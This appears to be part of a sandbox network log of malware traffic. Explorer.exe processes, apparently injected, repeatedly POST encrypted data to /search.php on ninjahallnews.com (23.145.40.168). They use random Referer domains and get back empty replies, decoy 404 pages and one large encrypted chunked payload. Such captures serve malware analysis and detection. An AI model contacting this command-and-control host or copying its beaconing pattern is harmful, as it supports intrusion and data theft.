2024-10-07 22:20:55 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:55 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49966	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:56 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://lhkhfhdvkorst.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: ninjahallnews.com
2024-10-07 22:20:56 UTC	327	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 61 34 01 83 b7 25 93 3c 4f ed 76 b8 a8 bb 3e 58 d4 01 7f ee 37 e8 8a 63 32 c3 67 0c 41 aa de e1 44 ac f6 40 74 f2 f5 36 8b 7b 33 8f f0 06 32 3b 4c 5c 3f d9 32 c0 f3 c1 32 98 9b 77 39 4d 89 68 35 f0 35 0a 89 f9 e9 c7 00 16 d6 7d a4 7d be 73 73 c4 45 91 5f 20 3d 6f 1a b2 b8 69 83 8a 10 97 38 3d c9 b6 af 09 ea 92 46 ad d1 fd cf 25 35 de ad d3 18 43 b3 6c 06 84 68 63 19 a3 56 3e 6c ac 4b 37 58 f8 9b d9 0b 75 9c f7 21 a3 22 e9 e6 f9 13 1d 18 74 dc 60 6f 61 42 25 b0 4e 8a d2 62 3e 69 43 35 ee 92 60 63 32 06 cb c8 c5 16 d0 c4 2f dc 22 b6 f3 d6 cd 4f b0 77 Data Ascii: r{O)fz<pqB )6IP g3iqH[@La4%<Ov>X7c2gAD@t6{32;L\?22w9Mh55}}ssE_ =oi8=F%5ClhcV>lK7Xu!"t`oaB%Nb>iC5`c2/"Ow
2024-10-07 22:20:56 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:56 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49972	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:57 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://vhdgrtytskult.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 243 Host: ninjahallnews.com
2024-10-07 22:20:57 UTC	243	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 66 34 01 83 b7 25 93 3c 74 a2 74 97 82 fb 2a 58 e5 0f 13 f5 5f ca ea 18 3e b2 35 3b 78 8d a9 fe 6e c4 af 70 57 c5 9b 48 ef 6f 2a 83 d9 1d 22 20 5c 2f 53 ec 7a ad e5 b7 4c f1 af 30 33 2f 98 42 37 dd 7d 59 8d 8c 98 cc 0d 2c b8 00 ab 66 8e 03 31 a3 2b ba 5d 52 51 39 5c c8 de 0a 89 9d 0a ee 02 7e c0 a9 a4 31 fc ba 05 a9 b2 e6 b2 58 33 b9 93 c3 69 0c ab 41 2c d2 66 76 28 e1 4e 71 79 ba 40 10 03 de 9b 86 62 2c cf d5 23 8a 58 cb ac c7 72 73 63 58 cc 5b 6e 04 19 3a cd 58 b1 b4 2b 31 6d 51 1f 8b b1 7a 5d 00 11 95 e9 e3 74 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lf4%<ttX_>5;xnpWHo" \/SzL03/B7}Y,f1+]RQ9\~1X3iA,fv(Nqy@b,#XrscX[n:X+1mQz]t
2024-10-07 22:20:57 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:57 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49978	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:57 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ujxngjrjlobur.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: ninjahallnews.com
2024-10-07 22:20:57 UTC	240	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 67 34 01 83 b7 25 93 3c 3d cf 0c ef dc ea 0d 4c ca 12 09 8e 62 f2 ce 11 66 bd 26 4b 56 c6 f6 da 56 ff d2 7f 75 8a 94 72 e2 43 3d f3 cf 17 7e 5e 5f 1f 07 e2 77 d4 95 a5 3c 84 f0 61 68 1c 97 70 28 e3 67 01 c5 f4 fb c8 3a 03 c7 12 a8 2a f6 3b 2b b6 06 a3 20 57 62 18 5e bb e6 64 b2 ba 6e d2 27 1b e0 e5 ca 00 b0 ef 40 9a 9c bc c2 52 75 af bb d2 47 07 bd 4b 46 c2 6c 0e 19 b7 69 24 38 c7 35 65 5f 99 97 f8 61 6d a2 f1 02 ee 74 81 f0 d9 0e 6f 32 5d a2 12 32 49 35 60 d5 27 92 9c 72 2b 1b 3d 3d 85 bd 45 2f 3b 53 ff Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lg4%<=Lbf&KVVurC=~^_w<ahp(g:*;+ Wb^dn'@RuGKFli$85e_amto2]2I5`'r+==E/;S
2024-10-07 22:20:58 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:58 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49984	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:58 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://igxvqkyyvgmutmd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: ninjahallnews.com
2024-10-07 22:20:58 UTC	289	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 64 34 01 83 b7 25 93 3c 29 e8 39 84 a4 c3 1f 2d fd 29 1b ed 35 cf 8f 08 6f c7 09 10 5a bc e0 f2 3d df ed 5e 1e d3 f6 70 e0 38 3f a3 92 45 08 59 4d 5c 5e fb 06 b8 c9 b2 48 e0 93 5c 2c 0d a7 6d 54 ec 34 40 c4 9d fc b6 53 31 a0 7f c6 69 f1 14 37 d6 0c 93 67 59 44 74 7f bf e3 07 96 c4 1a c0 19 10 9d ac cb 59 b9 93 74 e4 c6 98 96 57 6f d9 ad ad 48 46 d8 51 10 89 01 58 55 bf 59 10 69 ad 3a 2e 5f d6 d7 ef 7b 51 b0 e4 77 e8 75 da b7 d8 0a 1f 24 2a c7 14 27 66 4e 6d d7 0c f7 ba 1c 09 65 5f 18 ee 94 7d 47 2d 34 91 eb de 31 97 b7 76 85 32 89 fd b7 bb 15 9b 31 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Ld4%<)9-)5oZ=^p8?EYM\^H\,mT4@S1i7gYDtYtWoHFQXUYi:._{Qwu$*'fNme_}G-41v21
2024-10-07 22:20:59 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:58 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49994	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:59 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://pkuvdwenklvosy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: ninjahallnews.com
2024-10-07 22:20:59 UTC	154	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 65 34 01 83 b7 25 93 3c 7c f6 03 88 a0 a7 57 05 a8 04 1e ef 7b d2 f5 06 3a b6 7d 17 2c 83 a9 f0 6b b2 b8 4d 6c 81 f6 6b 97 21 55 bb e4 0f 00 50 14 02 2a f4 0a cf fa ac 05 fc 83 70 27 58 94 07 36 c6 35 06 c5 c7 fc b0 38 61 c9 71 ea 24 ab 09 3c b5 10 e9 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Le4%<\|W{:},kMlk!UP*p'X658aq$<
2024-10-07 22:21:00 UTC	294	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:21:00 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-07 22:21:00 UTC	7898	IN	Data Raw: 31 65 65 37 0d 0a 00 00 b5 50 0f 6d f7 61 d7 e7 49 78 ba 09 bf db 6e 5b 92 64 4f 0c f1 aa 5d 78 6e 1d 37 6e a3 bf 51 b7 61 50 c8 4c 75 ec 96 6c 61 47 6f 72 d9 5d 28 4a c9 17 cf ae b0 92 75 82 7c d6 cc 92 b4 cc 04 6e 80 d9 27 08 88 90 7c 25 38 3b 06 b0 d9 98 1f b3 ee 24 b2 8e 94 c4 c7 84 78 7f df ff 07 32 07 d4 23 b4 c2 cf a3 d9 18 29 4c b6 6d 7e 16 31 ba 88 9c 6f 27 9e 77 77 ec 42 27 39 f1 c8 b5 0f 2b 2c 37 f5 27 0c ee 96 8c 2c eb 7f 13 2a 58 0b a1 c6 4a a5 04 a5 ee 06 88 e3 1d 96 d0 4c d7 1a 1c 0b 6e 31 a2 fd 08 4f 89 d7 29 16 31 bd a7 21 aa 5c b5 b5 55 45 44 dc a1 75 85 c1 e8 06 3a f3 80 41 02 4f fe 76 f4 a8 10 4e 8c 77 26 ec 91 05 1d da 3e 11 60 70 e2 86 3d ef 6e dd fe db a9 55 d9 c9 5b 8a 82 ba 08 34 ee fb c7 34 41 b5 cd 3a 1d 0c d7 46 85 07 8f 3d 07 Data Ascii: 1ee7PmaIxn[dO]xn7nQaPLulaGor](Ju\|n'\|%8;$x2#)Lm~1o'wwB'9+,7',*XJLn1O)1!\UEDu:AOvNw&>`p=nU[44A:F=
2024-10-07 22:21:00 UTC	19	IN	Data Raw: 1a 58 b3 14 d0 ff ef 1b ab d5 44 9d a9 19 24 1b 3c de a6 Data Ascii: XD$<
2024-10-07 22:21:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 22:21:00 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4f b0 ac 7b 5b 94 2f 8e fb a5 49 75 0f 40 51 70 86 33 86 ea 54 c2 9c a9 b3 9c cf 10 ce 73 f3 0a 45 73 70 80 bd cf 7c c6 1c 25 20 f0 db 31 01 72 f0 5d 54 16 83 19 c9 78 43 66 d9 c7 7f 47 ca 0f f7 a2 70 1e 62 4f 97 d4 85 58 23 aa d0 91 09 29 ee 80 ff 8b 54 15 25 28 bd e0 44 37 f5 d2 98 eb 0f e0 d6 36 42 df 9d 30 3b 76 0a 49 8d d8 2a 5a 2c 48 85 64 39 6f df 29 ee ea 49 62 42 61 fc 57 6e 83 9a b6 22 77 a6 6b e0 cf c9 e4 7a 54 6a 49 6b 6f 35 b7 56 48 95 56 16 b2 96 49 9e ba 4c 2c 9b 9c 43 42 13 5b a3 ab 34 c0 82 5d a9 9e 70 45 78 63 d2 8a a7 06 b3 53 cc e2 23 f1 5f eb 82 a9 0c ba 27 c8 99 eb 5e 0c 15 68 6c d4 ae e1 12 2f 24 0c 48 6d a6 03 50 bc 8c c8 19 7b 50 c9 e8 5e 04 70 28 b9 77 49 81 50 c8 50 6b ae b4 0b 13 a5 ca 64 4c e6 f3 cd d4 f6 e4 Data Ascii: 2000O{[/Iu@Qp3TsEsp\|% 1r]TxCfGpbOX#)T%(D76B0;vI*Z,Hd9o)IbBaWn"wkzTjIko5VHVIL,CB[4]pExcS#_'^hl/$HmP{P^p(wIPPkdL
2024-10-07 22:21:00 UTC	6	IN	Data Raw: 4e 13 8c ae b0 c7 Data Ascii: N
2024-10-07 22:21:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 22:21:00 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 37 b0 80 d9 81 f6 4b 57 1e 8f 04 5f c4 c0 88 47 ee 18 f5 d8 ff a1 a2 c6 ae 36 1a 9d e0 fb 7a 50 95 22 b5 51 4d 25 b1 f4 18 0c 15 d1 06 0a 15 7b 23 d8 b9 63 41 09 53 8b 61 24 04 92 dd b9 c9 34 db 29 b1 d3 b5 7d 9b b6 ff 21 7f 68 a3 a1 98 ca f2 df ce 52 bb f4 67 4b 05 db df 01 f6 41 65 c4 8c 63 3c 95 b8 4a 79 8f 0e fc ec 98 91 1c 6c 75 27 c8 43 8c b3 ad 55 8f 66 a4 df a5 4c f4 c9 c1 69 5d 48 0b 4f 32 71 7a 52 6c c0 39 48 fa 96 d0 c8 ec f4 9c a0 0a 28 2c 0e 70 0f 5f 56 3f 57 12 a8 f7 ec d3 73 0d 42 60 a6 37 ca 65 e1 1c 43 c8 32 77 4f a8 25 84 73 8c 57 fe fd 9b 22 07 c9 76 67 b6 ef 85 11 52 c9 bf 4e b0 d6 66 9d d8 30 3f 8d 93 5a f5 d5 f3 5f 31 3d a5 2e 45 85 49 21 aa 61 86 37 f7 f5 9a 70 4c 4d f9 1c fb e1 fe d1 ee cb fa 02 71 1e 89 dd 8a 35 Data Ascii: 20007KW_G6zP"QM%{#cASa$4)}!hRgKAec<Jylu'CUfLi]HO2qzRl9H(,p_V?WsB`7eC2wO%sW"vgRNf0?Z_1=.EI!a7pLMq5
2024-10-07 22:21:00 UTC	6	IN	Data Raw: eb 47 a6 2d 95 51 Data Ascii: G-Q
2024-10-07 22:21:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50001	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:21:01 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mmqmkrfdtvmaos.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: ninjahallnews.com
2024-10-07 22:21:01 UTC	248	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 41 4c 65 34 01 83 b6 25 93 3c 43 b6 62 e9 ce b0 35 30 df 22 65 81 2a d7 83 19 07 f6 32 3a 3c ad d4 88 41 f1 a6 1a 0b ed 8e 74 ac 58 21 93 c3 71 21 79 7d 41 37 f6 38 cd 9f 81 28 ef b6 43 11 3e 99 0a 59 f3 71 51 cc fa e1 c0 2d 2c a8 14 d1 71 f2 30 5c 9b 23 9f 37 32 77 27 5c c6 f6 62 e3 c2 36 91 0f 20 f2 d1 d9 13 b9 f5 47 a0 83 88 aa 09 5f aa d9 a0 03 23 ba 19 0e 89 74 17 24 82 6b 16 43 b2 5a 71 50 8b d2 f9 2a 7f 92 a9 38 e2 4b f1 be f8 60 06 3a 4b de 71 22 1f 09 79 de 4b 8b cd 30 5a 33 4a 16 f1 e1 5c 53 3f 01 b0 e8 f2 4d e9 ba 11 c2 14 Data Ascii: r{O)fz<pqB )6IP g3iqH[ALe4%<Cb50"e2:<AtX!q!y}A78(C>YqQ-,q0\#72w'\b6 G_#t$kCZqP8K`:Kq"yK0Z3J\S?M
2024-10-07 22:21:01 UTC	287	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:21:01 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-07 22:21:01 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50007	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:21:02 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://klmaxatwhce.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: ninjahallnews.com
2024-10-07 22:21:02 UTC	268	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7a 34 01 83 b7 25 93 3c 51 c8 0f 9c 82 a3 13 06 be 06 6a ed 27 9a ce 30 6b cf 19 0a 24 80 b5 ec 74 cb c7 64 12 ec e8 2a b7 21 67 f9 e2 6a 21 20 1c 32 36 cc 6e d3 e9 80 0d de 8c 63 08 38 e1 6e 02 aa 35 68 99 cb a0 97 30 1b a9 68 c3 7d 89 01 4f a5 1c 93 63 5a 31 04 79 fb d9 0a a1 8d 1d 91 2d 2d c8 b3 bf 2e ed e4 7f eb ae 87 ce 34 32 a5 bf a5 41 39 95 54 08 de 71 44 19 e4 51 1d 79 b2 38 12 09 c6 cd f4 1b 60 be d9 02 eb 2c cd a7 f1 7a 0f 63 30 a6 18 0f 15 38 15 ba 5e ee 81 38 41 11 66 4b e2 e4 7e 36 14 3b 94 c8 c0 55 95 f2 19 cf 77 c5 82 aa 99 60 94 45 Data Ascii: r{O)fz<pqB )6IP g3iqH[@Lz4%<Qj'0k$td*!gj! 26nc8n5h0h}OcZ1y--.42A9TqDQy8`,zc08^8AfK~6;Uw`E
2024-10-07 22:21:02 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:21:02 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50013	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:21:03 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kouspbvvekjqvnkd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 239 Host: ninjahallnews.com
2024-10-07 22:21:03 UTC	239	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7b 34 01 83 b7 25 93 3c 47 c3 74 e1 8f fb 0b 38 c1 77 00 b9 52 8d e4 3b 72 b6 67 2e 41 b9 e0 da 7d b6 e7 58 08 f7 94 71 ad 2f 6e b3 fb 4a 3c 2e 03 09 1c c4 65 bb d6 81 1e db b7 53 7f 02 84 64 44 d3 4c 60 fa d0 f0 a4 23 26 a5 67 de 6d e1 07 58 9a 56 c7 2e 31 24 64 66 d6 c1 40 a9 98 6c d7 3b 3b 96 cc ba 08 c2 f6 0d 82 d4 93 a3 1d 6b ad cc ab 1d 05 a1 5d 50 d7 62 0f 13 f0 6e 25 44 f6 1e 76 50 e2 cc c5 7e 30 be cb 7b 9a 6d d3 c4 a2 2b 3a 24 53 ca 10 02 1f 2a 12 e6 15 e2 9f 67 0c 6d 79 0e dc b9 4e 3f 2f 67 Data Ascii: r{O)fz<pqB )6IP g3iqH[@L{4%<Gt8wR;rg.A}Xq/nJ<.eSdDL`#&gmXV.1$df@l;;k]Pbn%DvP~0{m+:$S*gmyN?/g
2024-10-07 22:21:03 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:21:03 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50050	23.145.40.168	443	2140	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:21:11 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ninjahallnews.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 4431 Host: ninjahallnews.com
2024-10-07 22:21:11 UTC	4431	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 85 a6 6e 6c f2 e8 91 75 49 50 20 67 33 fa a7 84 c7 89 05 40 0c 18 e8 5a dd 46 4c 6a 34 01 83 b7 25 93 3c 5d cf 27 91 a3 dd 2a 25 c6 00 16 9c 51 e5 e3 1b 09 bf 67 33 46 c9 e0 f3 49 fe fe 76 77 f7 96 5d 8f 33 2d 87 e5 6a 0e 47 60 11 1a eb 19 bb 96 8a 06 8b e6 69 22 2e 90 41 39 b6 26 46 ed f7 99 a5 69 56 b5 62 da 54 94 20 7f ae 3f 85 54 4b 4c 0b 75 ad cd 7c ad cb 1f e6 21 7a ed df ad 3a dd bf 5a 9c b9 91 a3 17 4e b1 d1 85 6a 24 b5 69 28 ed 0f 51 1e 91 2c 13 4f cb 21 37 3f 85 b8 db 25 42 8a fa 4d c6 42 99 f8 cf 13 08 0e 56 c3 1d 01 49 29 2d d7 2c 8d b5 13 36 13 26 14 e7 87 25 58 0f 3d aa ea 9e 23 d7 ce 20 e3 7a 96 a0 c8 a9 79 86 4f Data Ascii: r{O)fz<pqBnluIP g3@ZFLj4%<]'*%Qg3FIvw]3-jG`i".A9&FiVbT ?TKLu\|!z:ZNj$i(Q,O!7?%BMBVI)-,6&%X=# zyO
2024-10-07 22:21:11 UTC	287	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:21:11 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-07 22:21:11 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50063	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:22:27 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://giugthslvfwuci.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
